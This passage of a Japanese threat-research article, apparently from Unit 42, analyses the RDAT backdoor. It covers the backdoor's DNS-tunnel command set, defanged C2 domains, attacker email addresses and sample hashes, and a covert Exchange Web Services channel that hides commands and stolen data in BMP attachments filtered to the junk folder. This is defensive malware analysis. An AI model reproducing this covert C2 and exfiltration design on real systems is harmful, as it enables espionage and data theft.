monospace;\">&lt;\u901a\u4fe1\u30bf\u30a4\u30d7\u5024&gt;,&lt;\u8a2d\u5b9a\u3055\u308c\u3066\u3044\u308bID\u5024&gt;,&lt;\u30cf\u30fc\u30c9\u30b3\u30fc\u30c9\u3055\u308c\u3066\u3044\u308b\u30da\u30a4\u30ed\u30fc\u30c9\u306e\u30d0\u30fc\u30b8\u30e7\u30f3&gt;,&lt;\u30e9\u30f3\u30c0\u30e0\u306b\u751f\u6210\u3055\u308c\u305f\u6570\u5024&gt;<\/span><\/p>\n<p>\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001TXT\u30af\u30a8\u30ea\u306b\u5bfe\u3059\u308b\u7d50\u679c\u3092\u8868\u3059\u5fdc\u7b54\u3092base64\u3067\u30c7\u30b3\u30fc\u30c9\u3057\u3066\u3001\u8981\u6c42\u3068\u540c\u3058AES\u6697\u53f7\u3068\u9375\u3092\u4f7f\u7528\u3057\u3066\u5fa9\u53f7\u3057\u307e\u3059\u3002\u6b21\u306b\u3001\u6b63\u898f\u8868\u73fe\"[^,]+\"\u3092\u4f7f\u7528\u3057\u3066\u3001\u5fa9\u53f7\u3057\u305f\u5e73\u6587\u3092\u89e3\u6790\u3057\u3001\u30ab\u30f3\u30de\u3067\u533a\u5207\u3089\u308c\u305f\u30b3\u30de\u30f3\u30c9\u5024\u3068\u30b3\u30de\u30f3\u30c9\u5f15\u6570\u3092\u53d6\u5f97\u3057\u307e\u3059\u3002\u6b21\u306b\u3001\u88681\u306b\u793a\u3057\u305f\u3001\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3001\u30d5\u30a1\u30a4\u30eb\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3001\u304a\u3088\u3073\u30d5\u30a1\u30a4\u30eb\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u6a5f\u80fd\u3092\u5099\u3048\u305f\u30b3\u30de\u30f3\u30c9\u30cf\u30f3\u30c9\u30e9\u3092\u4f7f\u7528\u3057\u3066\u30b3\u30de\u30f3\u30c9\u5024\u3092\u30c1\u30a7\u30c3\u30af\u3057\u307e\u3059\u3002<\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>\u30b3\u30de\u30f3\u30c9<\/strong><\/td>\n<td><strong>\u8aac\u660e<\/strong><\/td>\n<\/tr>\n<tr>\n<td>0<\/td>\n<td>\u30a2\u30a4\u30c9\u30eb\u3002<\/td>\n<\/tr>\n<tr>\n<td>1<\/td>\n<td>\u6307\u5b9a\u3055\u308c\u305f\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002\u66f8\u304d\u8fbc\u307f\u7528\u3068\u8aad\u307f\u8fbc\u307f\u7528\u306e\u30d1\u30a4\u30d7\u3092\u4f5c\u6210\u3057\u3001\u30b3\u30de\u30f3\u30c9\u3092\u767a\u884c\u3057\u3066\u305d\u306e\u51fa\u529b\u3092\u8aad\u307f\u8fbc\u307f\u3001\u7d50\u679c\u3092DNS\u30c8\u30f3\u30cd\u30eb\u7d4c\u7531\u3067C2\u30b5\u30fc\u30d0\u30fc\u306b\u9001\u4fe1\u3057\u307e\u3059\u3002<\/td>\n<\/tr>\n<tr>\n<td>2<\/td>\n<td>\u6307\u5b9a\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u3092\u8aad\u307f\u8fbc\u307f\u3001\u305d\u306e\u5185\u5bb9\u3092\u307e\u3068\u3081\u3066DNS\u30c8\u30f3\u30cd\u30eb\u7d4c\u7531\u3067\u9001\u4fe1\u3057\u307e\u3059\u3002<\/td>\n<\/tr>\n<tr>\n<td>3<\/td>\n<td>DNS\u30c8\u30f3\u30cd\u30eb\u7d4c\u7531\u3067\u30d5\u30a1\u30a4\u30eb\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u307e\u3059\u3002<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: center;\"><em>\u88681: RDAT\u3067\u4f7f\u7528\u3067\u304d\u308b\u30b3\u30de\u30f3\u30c9<\/em><\/p>\n<h2><a id=\"post-108014-_eagn3og81vqi\"><\/a><strong>\u95a2\u9023\u3059\u308bRDAT<\/strong><\/h2>\n<p>\u8abf\u67fb\u306e\u904e\u7a0b\u3067\u3001\u5b9f\u884c\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb\u306e\u5185\u5bb9\u3068\u4ed6\u306e\u3055\u307e\u3056\u307e\u306a\u5c5e\u6027\u306b\u57fa\u3065\u3044\u3066\u3001\u591a\u6570\u306e\u8ffd\u52a0\u30b5\u30f3\u30d7\u30eb\u3092\u53ce\u96c6\u3057\u307e\u3057\u305f\u3002\u88682\u306b\u3001\u53ce\u96c6\u3057\u305f\u30b5\u30f3\u30d7\u30eb\u306e\u30b3\u30f3\u30d1\u30a4\u30eb\u65e5\u6642\u3001\u4f7f\u7528\u3059\u308bC2\u30b5\u30fc\u30d0\u30fc\u3001\u304a\u3088\u3073\u653b\u6483\u8005\u304c\u4fb5\u5165\u3057\u305f\u30b7\u30b9\u30c6\u30e0\u306b\u30b5\u30f3\u30d7\u30eb\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3059\u308b\u3068\u304d\u306b\u4f7f\u7528\u3059\u308b\u30b5\u30fc\u30d3\u30b9\u540d\u3092\u793a\u3057\u307e\u3059\u3002\u30b3\u30f3\u30d1\u30a4\u30eb\u65e5\u6642\u304c\u793a\u3059\u3088\u3046\u306b\u3001\u3053\u306e\u30c4\u30fc\u30eb\u306f2017\u5e74\u304b\u3089\u958b\u767a\u304c\u7d9a\u3051\u3089\u308c\u3066\u304a\u308a\u3001\u53ce\u96c6\u3057\u305f\u4e2d\u3067\u6700\u65b0\u306e\u30b5\u30f3\u30d7\u30eb\u306f2020\u5e744\u6708\u306b\u30b3\u30f3\u30d1\u30a4\u30eb\u3055\u308c\u3066\u3044\u307e\u3059\u30022017\u5e748\u6708\u306b\u30b3\u30f3\u30d1\u30a4\u30eb\u3055\u308c\u305f\u30b5\u30f3\u30d7\u30eb\u306f\u3001TwoFace\u306b\u95a2\u9023\u3059\u308bweb\u30b7\u30a7\u30eb\u306b\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3055\u308c\u307e\u3057\u305f\u3002\u4e00\u65b9\u30672020\u5e743\u6708\u306b\u30b3\u30f3\u30d1\u30a4\u30eb\u3055\u308c\u305f\u30b5\u30f3\u30d7\u30eb\u306f\u3001\u4e2d\u6771\u306e\u901a\u4fe1\u4e8b\u696d\u8005\u306b\u5bfe\u3059\u308b\u653b\u6483\u3067\u4f7f\u7528\u3055\u308c\u307e\u3057\u305f\u30022020\u5e744\u6708\u306b\u30b3\u30f3\u30d1\u30a4\u30eb\u3055\u308c\u305fRDAT\u30b5\u30f3\u30d7\u30eb\u3082\u540c\u3058\u901a\u4fe1\u4e8b\u696d\u8005\u306b\u914d\u4fe1\u3055\u308c\u307e\u3057\u305f\u304c\u3001\u3053\u308c\u306f\u65b0\u3057\u3044\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3(<span style=\"font-family: 'courier new', courier, monospace;\">sharjatv[.]com, wwmal[.]com<\/span>)\u3092\u4f7f\u7528\u3059\u308b\u3088\u3046\u306b\u8a2d\u5b9a\u3055\u308c\u3001DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u306b\u3088\u308bC2\u30c1\u30e3\u30cd\u30eb\u7528\u306bDNS A\u30ec\u30b3\u30fc\u30c9\u3068DNS AAAA\u30ec\u30b3\u30fc\u30c9\u306e\u4e21\u65b9\u3092\u30b5\u30dd\u30fc\u30c8\u3057\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<p>\u767a\u898b\u3057\u305f\u4e2d\u3067\u6700\u3082\u8208\u5473\u6df1\u3044\u306e\u306f\u30012018\u5e747\u670824\u65e5\u306b\u30b3\u30f3\u30d1\u30a4\u30eb\u3055\u308c\u305f\u30b5\u30f3\u30d7\u30eb\u3067\u3059\u3002\u3053\u306e\u30b5\u30f3\u30d7\u30eb\u306b\u306f\u3001Exchange Web Services (EWS) API\u3092\u4f7f\u7528\u3057\u3066\u3001\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u753b\u50cf\u304c\u6dfb\u4ed8\u3055\u308c\u3066\u3044\u308b\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u9001\u53d7\u4fe1\u3059\u308b\u65b0\u624b\u306eC2\u30c1\u30e3\u30cd\u30eb\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3057\u305f\u3002\u3053\u306e\u65b0\u624b\u306eC2\u30c1\u30e3\u30cd\u30eb\u306f\u3001\u4ed6\u306eRDAT\u30b5\u30f3\u30d7\u30eb\u3067\u898b\u3089\u308c\u308bHTTP\u3068DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u3092\u4f7f\u7528\u3059\u308bC2\u30c1\u30e3\u30cd\u30eb\u3092\u88dc\u5b8c\u3057\u3066\u3044\u307e\u3057\u305f\u3002\u3053\u308c\u3089\u306eRDAT\u30b5\u30f3\u30d7\u30eb\u306f\u3059\u3079\u3066\u3001\u3053\u306e\u5f8c\u306e\u30bb\u30af\u30b7\u30e7\u30f3\u3067\u8a73\u7d30\u306b\u8aac\u660e\u3057\u307e\u3059\u3002<\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>SHA256<\/strong><\/td>\n<td><strong>\u30b3\u30f3\u30d1\u30a4\u30eb\u65e5\u6642<\/strong><\/td>\n<td><strong>C2<\/strong><\/td>\n<td><strong>\u30b5\u30fc\u30d3\u30b9\u540d<\/strong><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-family: 'courier new', courier, monospace;\">7395a3ada245..<\/span><\/td>\n<td>2017\u5e748\u67087\u65e5<\/td>\n<td>\u5f15\u6570\u3068\u3057\u3066\u6307\u5b9a<\/td>\n<td>Service<\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-family: 'courier new', courier, monospace;\">8f943bc5b205..<\/span><\/td>\n<td>2018\u5e743\u670813\u65e5<\/td>\n<td>\u5f15\u6570\u3068\u3057\u3066\u6307\u5b9a<\/td>\n<td>My Sample Service<\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-family: 'courier new', courier, monospace;\">8120849fbe85..<\/span><\/td>\n<td>2018\u5e747\u670824\u65e5<\/td>\n<td>allsecpackupdater[.]com<\/p>\n<p>tacsent[.]com<\/p>\n<p>koko@acrlee[.]com<\/p>\n<p>h76y@acrlee[.]com<\/td>\n<td>\u306a\u3057<\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-family: 'courier new', courier, monospace;\">bcdb63b3520e..<\/span><\/td>\n<td>2018\u5e748\u670827\u65e5<\/td>\n<td>\u5f15\u6570\u3068\u3057\u3066\u6307\u5b9a<\/td>\n<td>\u306a\u3057<\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-family: 'courier new', courier, monospace;\">f42c2b40574d..<\/span><\/td>\n<td>2018\u5e749\u67089\u65e5<\/td>\n<td>\u5f15\u6570\u3068\u3057\u3066\u6307\u5b9a<\/td>\n<td>My Sample Service<\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-family: 'courier new', courier, monospace;\">fcabb86331cd..<\/span><\/td>\n<td>2018\u5e749\u67089\u65e5<\/td>\n<td>\u5f15\u6570\u3068\u3057\u3066\u6307\u5b9a<\/td>\n<td>My Sample Service<\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-family: 'courier new', courier, monospace;\">7b5042d3f0e9..<\/span><\/td>\n<td>2019\u5e749\u670817\u65e5<\/td>\n<td>\u5f15\u6570\u3068\u3057\u3066\u6307\u5b9a<\/td>\n<td>Windows Video Service<\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-family: 'courier new', courier, monospace;\">ee32bde60d11..<\/span><\/td>\n<td>2019\u5e7411\u67084\u65e5<\/td>\n<td>\u5f15\u6570\u3068\u3057\u3066\u6307\u5b9a<\/td>\n<td>\u306a\u3057<\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-family: 'courier new', courier, monospace;\">de3f1cc2d4aa..<\/span><\/td>\n<td>2019\u5e7411\u670811\u65e5<\/td>\n<td>\u5f15\u6570\u3068\u3057\u3066\u6307\u5b9a<\/td>\n<td>My Sample Service<\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-family: 'courier new', courier, monospace;\">4ea6da6b35c4..<\/span><\/td>\n<td>2020\u5e743\u67081\u65e5<\/td>\n<td>rsshay[.]com<\/td>\n<td>Windows Video Service<\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-family: 'courier new', courier, monospace;\">acb50b02ab0c..<\/span><\/td>\n<td>2020\u5e743\u67081\u65e5<\/td>\n<td>rdmsi[.]com<\/td>\n<td>Windows Video Service<\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-family: 'courier new', courier, monospace;\">55282007716b..<\/span><\/td>\n<td>2020\u5e743\u67081\u65e5<\/td>\n<td>rdmsi[.]com<\/td>\n<td>Windows Video Service<\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-family: 'courier new', courier, monospace;\">ba380e589261..<\/span><\/td>\n<td>2020\u5e743\u67081\u65e5<\/td>\n<td>rsshay[.]com<\/td>\n<td>Windows Video Service<\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-family: 'courier new', courier, monospace;\">6322cacf839b..<\/span><\/td>\n<td>2020\u5e744\u67084\u65e5<\/td>\n<td>sharjatv[.]com<br \/>\nwwmal[.]com<\/td>\n<td>My Sample Service<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: center;\"><em>\u88682: \u95a2\u9023\u3059\u308bRDAT\u30b5\u30f3\u30d7\u30eb <\/em><\/p>\n<h2><a id=\"post-108014-_5mpb3bop888\"><\/a><strong>Exchange Web Services\u3068\u30b9\u30c6\u30ac\u30ce\u30b0\u30e9\u30d5\u30a3\u3092\u4f7f\u7528\u3059\u308b\u65b0\u624b\u306eC2<\/strong><\/h2>\n<p>\u3053\u306eRDAT\u30b5\u30f3\u30d7\u30eb\u306e\u65b0\u624b\u306eC2\u30c1\u30e3\u30cd\u30eb\u306f\u3001EWS API\u3067\u30ed\u30fc\u30ab\u30eb\u306eExchange\u30b5\u30fc\u30d0\u30fc\u3092\u64cd\u4f5c\u3059\u308b\u3053\u3068\u306b\u3088\u3063\u3066\u96fb\u5b50\u30e1\u30fc\u30eb\u3092C2\u30c1\u30e3\u30cd\u30eb\u3068\u3057\u3066\u4f7f\u7528\u3057\u307e\u3059\u3002\u653b\u6483\u8005\u306e\u652f\u914d\u4e0b\u306b\u3042\u308b<span style=\"font-family: 'courier new', courier, monospace;\">koko@acrlee[.]com<\/span>\u3068<span style=\"font-family: 'courier new', courier, monospace;\">h76y@acrlee[.]com<\/span>\u306e2\u3064\u306e\u96fb\u5b50\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u304c\u30cf\u30fc\u30c9\u30b3\u30fc\u30c9\u3055\u308c\u3066\u3044\u307e\u3059\u3002RDAT\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001\u3053\u308c\u3089\u306e\u96fb\u5b50\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u3092\u4f7f\u7528\u3057\u3066\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u9001\u53d7\u4fe1\u3057\u3066\u3001C2\u3092\u5186\u6ed1\u306b\u5b9f\u884c\u3057\u307e\u3059\u3002\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001\u4fb5\u5165\u3057\u305f\u30db\u30b9\u30c8\u304b\u3089\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u9001\u4fe1\u3059\u308b\u305f\u3081\u306b\u3001\u4fb5\u5165\u3057\u305f\u30db\u30b9\u30c8\u306b\u30ed\u30b0\u30a4\u30f3\u3057\u3066\u3044\u308b\u30a2\u30ab\u30a6\u30f3\u30c8\u306b\u95a2\u9023\u4ed8\u3051\u3089\u308c\u3066\u3044\u308b\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002\u306a\u305c\u306a\u3089\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001WinHTTP\u30e9\u30a4\u30d6\u30e9\u30ea\u3092\u4f7f\u7528\u3057\u3066API\u306b\u8981\u6c42\u3059\u308b\u969b\u306b\"WINHTTP_OPTION_AUTOLOGON_POLICY\"\u30d5\u30a3\u30fc\u30eb\u30c9\u3092<a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/winhttp\/option-flags\">'WINHTTP_AUTOLOGON_SECURITY_LEVEL_LOW'<\/a>\u306b\u8a2d\u5b9a\u3057\u3066\u3044\u308b\u304b\u3089\u3067\u3059\u3002\u3053\u306e\u8a2d\u5b9a\u306b\u3088\u3063\u3066\u3001\u81ea\u52d5\u7684\u306b\u30c7\u30d5\u30a9\u30eb\u30c8\u8a8d\u8a3c\u60c5\u5831\u3092\u4f7f\u7528\u3057\u3066Exchange\u306b\u30ed\u30b0\u30aa\u30f3\u3092\u8a66\u307f\u307e\u3059\u3002<\/p>\n<p>\u653b\u6483\u8005\u306f\u30012\u3064\u306e\u96fb\u5b50\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u306e\u4e00\u65b9\u304b\u3089\u3001\u4fb5\u5bb3\u3057\u305f\u30a2\u30ab\u30a6\u30f3\u30c8\u306e\u96fb\u5b50\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u306b\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u9001\u4fe1\u3059\u308b\u3053\u3068\u306b\u3088\u3063\u3066\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u3068\u901a\u4fe1\u3057\u307e\u3059\u3002\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001\u653b\u6483\u8005\u304b\u3089\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u53d7\u4fe1\u3059\u308b\u305f\u3081\u306b\u3001\u4ee5\u4e0b\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002<\/p>\n<ul>\n<li>\u6700\u521d\u306b\u3001\u653b\u6483\u8005\u306e\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u8ff7\u60d1\u30e1\u30fc\u30eb\u30d5\u30a9\u30eb\u30c0\u306b\u79fb\u52d5\u3059\u308b\u53d7\u4fe1\u30c8\u30ec\u30a4\u30eb\u30fc\u30eb\u3092\u4f5c\u6210\u3057\u307e\u3059\u3002<\/li>\n<li>\u8ff7\u60d1\u30e1\u30fc\u30eb\u30d5\u30a9\u30eb\u30c0\u3092\u5e38\u306b\u76e3\u8996\u3057\u3066\u3001\u653b\u6483\u8005\u304c\u9001\u4fe1\u3057\u305f\u6dfb\u4ed8\u30d5\u30a1\u30a4\u30eb\u4ed8\u304d\u306e\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u30c1\u30a7\u30c3\u30af\u3057\u307e\u3059\u3002<\/li>\n<li>\u6dfb\u4ed8\u30d5\u30a1\u30a4\u30eb\u3092\u51e6\u7406\u3057\u3066\u3001BMP\u753b\u50cf\u5185\u306b\u57cb\u3081\u8fbc\u307e\u308c\u3066\u3044\u308b\u30a4\u30f3\u30d0\u30a6\u30f3\u30c9\u30b3\u30de\u30f3\u30c9\u3092\u53d6\u308a\u51fa\u3057\u307e\u3059\u3002<\/li>\n<\/ul>\n<p>\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001\u653b\u6483\u8005\u3068\u901a\u4fe1\u3059\u308b\u305f\u3081\u306b\u3001\u4fb5\u5165\u3057\u305f\u30b7\u30b9\u30c6\u30e0\u306b\u30ed\u30b0\u30a4\u30f3\u3057\u3066\u3044\u308b\u30a2\u30ab\u30a6\u30f3\u30c8\u304b\u3089\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u9001\u4fe1\u3057\u3066\u3001\u4ee5\u4e0b\u306e\u30a2\u30af\u30b7\u30e7\u30f3\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002<\/p>\n<ul>\n<li>\u4e0b\u66f8\u304d\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u4f5c\u6210\u3057\u3066\u3001\u300c\u5b9b\u5148\u300d\u30d5\u30a3\u30fc\u30eb\u30c9\u306b\u653b\u6483\u8005\u306e\u652f\u914d\u4e0b\u306b\u3042\u308b\u96fb\u5b50\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u3092\u5165\u529b\u3057\u307e\u3059\u3002<\/li>\n<li>\u4e0b\u66f8\u304d\u96fb\u5b50\u30e1\u30fc\u30eb\u306b\u3001\u30e1\u30c3\u30bb\u30fc\u30b8\u307e\u305f\u306f\u6301\u3061\u51fa\u3059\u30c7\u30fc\u30bf\u304c\u57cb\u3081\u8fbc\u307e\u308c\u3066\u3044\u308bBMP\u753b\u50cf\u3092\u6dfb\u4ed8\u3057\u307e\u3059\u3002<\/li>\n<li>\u4e0b\u66f8\u304d\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u653b\u6483\u8005\u306e\u96fb\u5b50\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u306b\u9001\u4fe1\u3057\u307e\u3059\u3002<\/li>\n<\/ul>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306f\u3001\u3053\u306e\u30c1\u30e3\u30cd\u30eb\u3092\u898b\u305b\u308b\u305f\u3081\u306b\u3001EWS API\u306b\u5bfe\u3059\u308b\u30a2\u30a6\u30c8\u30d0\u30a6\u30f3\u30c9HTTP POST\u8981\u6c42\u3092\u5206\u6790\u3057\u3066\u3001\u305d\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u3092\u64ae\u308a\u307e\u3057\u305f\u3002\u3053\u308c\u3089\u306ePOST\u8981\u6c42\u306f\u3059\u3079\u3066\u3001\"User-Agent\"\u306b\u7570\u4f8b\u306a\"firefox\"\u304c\u8a2d\u5b9a\u3055\u308c\u3066\u304a\u308a\u3001SOAP (Simple Object Access Protocol)\u30e1\u30c3\u30bb\u30fc\u30b8\u3092\u4f7f\u7528\u3057\u3066Exchange\u30b5\u30fc\u30d0\u30fc\u3068\u3084\u308a\u53d6\u308a\u3057\u307e\u3059\u3002\u6700\u521d\u306e\u8981\u6c42\u306b\u306f\u3001C2\u96fb\u5b50\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u304b\u3089\u306e\u3059\u3079\u3066\u306e\u30a4\u30f3\u30d0\u30a6\u30f3\u30c9\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\"\u8ff7\u60d1\u30e1\u30fc\u30eb\"\u30d5\u30a9\u30eb\u30c0\u306b\u79fb\u52d5\u3059\u308b\"ExchangeRule\"\u3068\u3044\u3046\u540d\u524d\u306e\u53d7\u4fe1\u30c8\u30ec\u30a4\u30eb\u30fc\u30eb\u3092\u4f5c\u6210\u3059\u308bSOAP\u30e1\u30c3\u30bb\u30fc\u30b8\u304c\u8a2d\u5b9a\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u56f33\u306b\u3001\u3053\u306e\u53d7\u4fe1\u30c8\u30ec\u30a4\u30eb\u30fc\u30eb\u3092\u4f5c\u6210\u3059\u308bSOAP\u30e1\u30c3\u30bb\u30fc\u30b8\u304c\u8a2d\u5b9a\u3055\u308c\u3066\u3044\u308bHTTP POST\u8981\u6c42\u3092\u793a\u3057\u307e\u3059\u3002\u8d64\u3044\u67a0\u3067\u56f2\u307e\u308c\u3066\u3044\u308b\u306e\u304c\u30eb\u30fc\u30eb\u540d\u3001\u9752\u3044\u67a0\u3067\u56f2\u307e\u308c\u3066\u3044\u308b\u306e\u304c\u653b\u6483\u8005\u306e\u96fb\u5b50\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u3092\u542b\u3080\u6761\u4ef6\u3001\u7dd1\u306e\u67a0\u3067\u56f2\u307e\u308c\u3066\u3044\u308b\u306e\u304c\u8ff7\u60d1\u30e1\u30fc\u30eb\u30d5\u30a9\u30eb\u30c0\u306b\u79fb\u52d5\u3059\u308b\u30a2\u30af\u30b7\u30e7\u30f3\u3067\u3059\u3002<\/p>\n<p><img  class=\"aligncenter wp-image-108024 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/07\/word-image-33.png\" alt=\"\u653b\u6483\u8005\u304b\u3089\u306e\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u8ff7\u60d1\u30e1\u30fc\u30eb\u30d5\u30a9\u30eb\u30c0\u306b\u79fb\u52d5\u3059\u308b\u53d7\u4fe1\u30c8\u30ec\u30a4\u30eb\u30fc\u30eb\u3092\u4f5c\u6210\u3059\u308bHTTP POST\u8981\u6c42\" width=\"1692\" height=\"558\" \/><\/p>\n<p style=\"text-align: center;\"><em>\u56f33: \u653b\u6483\u8005\u304b\u3089\u306e\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u8ff7\u60d1\u30e1\u30fc\u30eb\u30d5\u30a9\u30eb\u30c0\u306b\u79fb\u52d5\u3059\u308b\u53d7\u4fe1\u30c8\u30ec\u30a4\u30eb\u30fc\u30eb\u3092\u4f5c\u6210\u3059\u308bHTTP POST\u8981\u6c42<\/em><\/p>\n<p>\u3053\u306e\u5f8c\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u8ff7\u60d1\u30e1\u30fc\u30eb\u30d5\u30a9\u30eb\u30c0\u3092\u5e38\u306b\u76e3\u8996\u3057\u3066\u3001\u653b\u6483\u8005\u304b\u3089\u306e\u65b0\u3057\u3044\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u30c1\u30a7\u30c3\u30af\u3057\u307e\u3059\u3002\u5177\u4f53\u7684\u306b\u306f\u3001\u653b\u6483\u8005\u306e\u96fb\u5b50\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u304b\u3089\u53d7\u4fe1\u3057\u305f\u6dfb\u4ed8\u30d5\u30a1\u30a4\u30eb\u4ed8\u304d\u306e\u672a\u8aad\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u30c1\u30a7\u30c3\u30af\u3059\u308b\u8981\u6c42\u3092EWS API\u306b\u5bfe\u3057\u3066\u767a\u884c\u3057\u307e\u3059\u3002\u56f34\u306b\u3001\u653b\u6483\u8005\u304b\u3089\u306e\u30a4\u30f3\u30d0\u30a6\u30f3\u30c9\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u30c1\u30a7\u30c3\u30af\u3059\u308b\u305f\u3081\u306b\u30da\u30a4\u30ed\u30fc\u30c9\u304c\u767a\u884c\u3059\u308bHTTP POST\u3092\u793a\u3057\u307e\u3059\u3002\u8d64\u3044\u67a0\u3067\u56f2\u307e\u308c\u3066\u3044\u308b\u306e\u304c\u653b\u6483\u8005\u306e\u96fb\u5b50\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u3001\u9752\u3044\u67a0\u3067\u56f2\u307e\u308c\u3066\u3044\u308b\u306e\u304c\u6dfb\u4ed8\u30d5\u30a1\u30a4\u30eb\u306e\u30c1\u30a7\u30c3\u30af\u3001\u7dd1\u306e\u67a0\u3067\u56f2\u307e\u308c\u3066\u3044\u308b\u306e\u304c\u6307\u5b9a\u3055\u308c\u3066\u3044\u308b\u8ff7\u60d1\u30e1\u30fc\u30eb\u30d5\u30a9\u30eb\u30c0\u3067\u3059\u3002<\/p>\n<p><img  class=\"aligncenter wp-image-108026 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/07\/word-image-34.png\" alt=\"\u653b\u6483\u8005\u304b\u3089\u306e\u30a4\u30f3\u30d0\u30a6\u30f3\u30c9\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u30c1\u30a7\u30c3\u30af\u3059\u308b\u305f\u3081\u306bExchange\u30b5\u30fc\u30d0\u30fc\u306b\u9001\u4fe1\u3055\u308c\u308bHTTP POST\u8981\u6c42\" width=\"1828\" height=\"684\" \/><\/p>\n<p style=\"text-align: center;\"><em>\u56f34: \u653b\u6483\u8005\u304b\u3089\u306e\u30a4\u30f3\u30d0\u30a6\u30f3\u30c9\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u30c1\u30a7\u30c3\u30af\u3059\u308b\u305f\u3081\u306bExchange\u30b5\u30fc\u30d0\u30fc\u306b\u9001\u4fe1\u3055\u308c\u308bHTTP POST\u8981\u6c42<\/em><\/p>\n<p>\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001\u653b\u6483\u8005\u304b\u3089\u9001\u4fe1\u3055\u308c\u305f\u96fb\u5b50\u30e1\u30fc\u30eb\u3092\u53d6\u5f97\u3059\u308b\u3068\u3001SOAP\u8981\u6c42\u3078\u306e\u5fdc\u7b54\u3092\u51e6\u7406\u3057\u3066\u3001\u96fb\u5b50\u30e1\u30fc\u30eb\u3001\u6dfb\u4ed8\u30d5\u30a1\u30a4\u30eb\u3001\u304a\u3088\u3073\u6dfb\u4ed8\u30d5\u30a1\u30a4\u30eb\u306e\u5185\u5bb9\u3092\u53d6\u5f97\u3059\u308b\u8981\u6c42\u3092EWS 